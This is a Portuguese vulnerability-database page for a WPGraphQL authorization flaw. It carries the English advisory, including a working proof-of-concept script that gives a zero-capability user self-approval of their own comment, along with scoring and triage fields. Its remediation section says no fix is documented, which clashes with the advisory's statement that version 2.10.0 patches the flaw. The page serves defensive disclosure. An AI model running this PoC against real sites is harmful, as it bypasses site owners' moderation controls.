Média Controle de acesso

CVE-2026-33290 — WPGraphQL Repo's updateComment allows low-privileged authenticated users to change comment moderation status (comment_approved) without moderate_comments permission

WPGraphQL provides a GraphQL API for WordPress sites. Prior to version 2.10.0, an authorization flaw in updateComment allows an authenticated low-privileged user (including a custom role with zero capabilities) to change moderation status of their own comment (for example to APPROVE) without the moderate_comments capability. This can bypass moderation workflows and let untrusted users self-approve content. Version 2.10.0 contains a patch. ### Details In WPGraphQL 2.9.1 (tested), authorization for updateComment is owner-based, not field-based: - plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 allows moderators. - plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 also allows the comment owner, even if they lack moderation capability. - plugins/wp-graphql/src/Data/CommentMutation.php:94:94 maps GraphQL input status directly to WordPress comment_approved. - plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persists that value via wp_update_comment. - plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 exposes moderation states (APPROVE, HOLD, SPAM, TRASH). This means a non-moderator owner can submit status during update and transition moderation state. ### PoC Tested in local wp-env (Docker) with WPGraphQL 2.9.1. 1. Start environment: npm install npm run wp-env start 2. Run this PoC: ``` npm run wp-env run cli -- wp eval ' add_role("no_caps","No Caps",[]); $user_id = username_exists("poc_nocaps"); if ( ! $user_id ) { $user_id = wp_create_user("poc_nocaps","Passw0rd!","poc_nocaps@example.com"); } $user = get_user_by("id",$user_id); $user->set_role("no_caps"); $post_id = wp_insert_post([ "post_title" => "PoC post", "post_status" => "publish", "post_type" => "post", "comment_status" => "open", ]); $comment_id = wp_insert_comment([ "comment_post_ID" => $post_id, "comment_content" => "pending comment", "user_id" => $user_id, "comment_author" => $user->display_name, "comment_author_email" => $user->user_email, "comment_approved" => "0", ]); wp_set_current_user($user_id); $result = graphql([ "query" => "mutation U(\$id:ID!){ updateComment(input:{id:\$id,status:APPROVE}){ success comment{ databaseId status } } }", "variables" => [ "id" => (string)$comment_id ], ]); echo wp_json_encode([ "role_caps" => array_keys(array_filter((array)$user->allcaps)), "status" => $result["data"]["updateComment"]["comment"]["status"] ?? null, "db_comment_approved" => get_comment($comment_id)->comment_approved ?? null, "comment_id" => $comment_id ]); ' ``` 3. Observe result: - role_caps is empty (or no moderate_comments) - mutation returns status: APPROVE - DB value becomes comment_approved = 1 ### Impact This is an authorization bypass / broken access control issue in comment moderation state transitions. Any deployment using WPGraphQL comment mutations where low-privileged users can make comments is impacted. Moderation policy can be bypassed by self-approving content.

Descrição oficial em inglês (tradução ainda não revisada).

Publicada em 23/03/2026 · Atualizada em 13/10/2026 · Fontes: NIST National Vulnerability Database, CVE Program (cve.org) e CISA ADP · CNA: GitHub_M

Baixa

Quem explora e qual a prioridade

Nota de 0 a 100 que combina exploração confirmada, uso por ransomware e grupos APT, exploits públicos, EPSS e severidade.

Nenhum sinal de exploração nas fontes consultadas até agora.

Como a nota foi calculada

EPSS 0.3% (probabilidade de exploração em 30 dias)+3
Severidade técnica (medium)+3
CISA SSVC: exploração "poc"+5

A nota ordena a fila de correção; não substitui o contexto dos seus ativos (exposição à internet, criticidade, compensações).

Triagem

Está sendo explorada, qual a probabilidade de exploração, o que afeta e qual a severidade segundo as fontes.

Exploração

Não confirmada

Fora da CISA KEV — ausência de registro, não prova de que não é explorada.

EPSS FIRST

0,3%

à frente de 21% das CVEs pontuadas · 14/10/2026

Afeta

WPGraphQL

Wp-graphql

CVSS base

4.3

Média · 2 fonte(s)

Avaliação SSVC da CISA CISA

Três pontos de decisão que a CISA publica para as CVEs que avalia (SSVC 2.0.3). Uma decisão de priorização, não uma nota de severidade.

Exploração

Prova de conceito

nenhuma · prova de conceito · ativa

Automatizável

Não

se um atacante consegue automatizar as etapas da cadeia de ataque

Impacto técnico

Parcial

parcial · controle total do componente vulnerável

Remediação

Correções e mitigações documentadas pelas fontes — com link para o aviso original.

Nenhuma correção documentada pelas fontes consultadas. Isso não significa que não exista: verifique o aviso do fabricante.

Primeiras 24 horas

Ordenado a partir dos próprios campos do registro — exposição primeiro, porque não se corrige o que não se encontrou. Ponto de partida, gerado por regras.

Identifique ativos expostos que executam as combinações de fabricante/produto/versão afetadas (WPGraphQL Wp-graphql).
Nenhuma correção documentada nas fontes: reduza a exposição e monitore o aviso do fabricante.
Procure nos logs disponíveis sinais de tentativa de exploração compatíveis com a classe da falha (controle de acesso), erros e anomalias de autenticação.

Escopo afetado

Fabricante, produto e versões como as fontes os descrevem.

Fabricante	Produto	Versões	Status	Fonte
WPGraphQL	Wp-graphql	versão < 2.10.0	Vulnerável	CVE Program (cve.org) e CISA ADP

Características do ataque

O vetor CVSS decodificado. Descreve o ataque, não a sua exposição a ele.

Vetor de ataque

Rede

Complexidade

Baixa

Privilégios exigidos

Baixos

Interação do usuário

Nenhuma

Escopo

Inalterado

Confidencialidade

Nenhum

Integridade

Baixo

Disponibilidade

Nenhum

Todas as pontuações coletadas

As fontes pontuam de forma independente e podem discordar; cada linha diz quem pontuou e em qual versão.

Nota	Versão	Severidade	Explor.	Impacto	Pontuado por
4.3	CVSS 3.1	Média	2.8	1.4	security-advisories@github.com via NIST National Vulnerability Database
4.3	CVSS 3.1	Média	—	—	GitHub_M via CVE Program (cve.org) e CISA ADP

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N (nota exibida no topo: security-advisories@github.com)

Fraqueza MITRE

Classe de fraqueza segundo o catálogo CWE do MITRE.

CWE-862 · Missing Authorization

Outras CVEs com esta fraqueza →

EPSS ao longo do tempo FIRST

13/10/2026 → 14/10/2026 · 2 leitura(s) · máximo 0.30%

Detecção

Derivado do vetor CVSS e da classe da fraqueza. Pontos de partida, não regras testadas.

Priorize telemetria de borda para o componente exposto na rede (proxy, WAF, IDS/IPS).
Audite ações administrativas e acessos a recursos fora do padrão do usuário.

logs web/proxy/WAFIDS/IPS de redelogs de autenticaçãologs da aplicação

Linha do tempo

O que aconteceu com esta CVE, do mais recente ao mais antigo.

2026
Produtos afetados adicionados · wp-graphql/wp-graphql
13/10/2026 · CVE Program (cve.org) e CISA ADP
Avaliação SSVC atualizada
13/10/2026 · CVE Program (cve.org) e CISA ADP
Ficha publicada
13/10/2026
CVSS alterado · 4.3
13/10/2026 · NIST National Vulnerability Database
Status na fonte alterado · → Deferred
13/10/2026 · NIST National Vulnerability Database
Registro criado nesta base
13/10/2026 · NIST National Vulnerability Database
CVE publicada
23/03/2026 · GitHub_M

Atividade das fontes

Leituras que se repetem foram contadas em vez de listadas.

1× Descrição oficial atualizada · 13/10/2026 – 13/10/2026

Referências

2 no registro

github.com/wp-graphql/wp-graphql/releases/tag/wp-graphql%2Fv2.10.0
x_refsource_MISC, NIST National Vulnerability Database
github.com/wp-graphql/wp-graphql/security/advisories/GHSA-9hc3-mh5h-4fgh
x_refsource_CONFIRM, NIST National Vulnerability Database

Em outras páginas do site

WPGraphQL
todas as CVEs deste fabricante

Controle de acesso
mesma classe

CWE-862
outras páginas com esta fraqueza

CVEs relacionadas (mesmos produtos)

Média CVE-2026-109703 WordPress WPGraphQL plugin <= 2.23.1 - Sensitive Data Exposure vulnerability 2 d
Alta CVE-2026-40762 WordPress WPGraphQL plugin < 2.11.1 - SQL Injection vulnerability 15/06/2026
Alta CVE-2021-47959 WordPress Plugin WPGraphQL 1.3.5 Denial of Service 15/05/2026
Média CVE-2025-68604 WordPress WPGraphQL plugin <= 2.5.3 - Cross Site Request Forgery (CSRF) vulnerability 07/05/2026
Alta CVE-2026-27938 WPGraphQL Repo Vulnerable to Command Injection via Unsanitized GitHub Actions Expression in Release Workflow 25/02/2026

Não consta em nenhuma fonte consultada

Listado em vez de deixado em branco: um campo vazio e um não medido parecem iguais na tela, e só um deles é motivo para procurar em outro lugar.

Nenhuma versão corrigida, patch ou mitigação documentada.
Nenhum IOC confirmado (IPs, domínios, hashes ou artefatos de malware) fornecido.
Nenhum inventário de ativos, controle compensatório ou evidência de implantação de patch da sua organização.
Nenhuma captura de tráfego de exploração, amostra de log ou caso de incidente.

Respondido a partir deste registro

Texto montado apenas com os campos acima — sem afirmações adicionais.

O que os defensores devem saber primeiro?

CVE-2026-33290 é "WPGraphQL Repo's updateComment allows low-privileged authenticated users to change comment moderation status (comment_approved) without moderate_comments permission", de severidade Média. Afeta Wp-graphql (WPGraphQL); as versões estão na tabela de escopo. Não está na CISA KEV, o que não exclui exploração. CVSS 4.3 descreve a severidade técnica. EPSS 0.30% estima a probabilidade de exploração em 30 dias; nenhum dos dois substitui o contexto dos seus ativos. Verifique primeiro se ativos expostos ou críticos executam as versões afetadas, aplique as correções ou mitigações do fabricante e preserve logs para análise.

Comentários

Discussão técnica moderada. Leia as regras da comunidade.

Nenhum comentário ainda.

Entre ou crie uma conta para comentar e sugerir correções.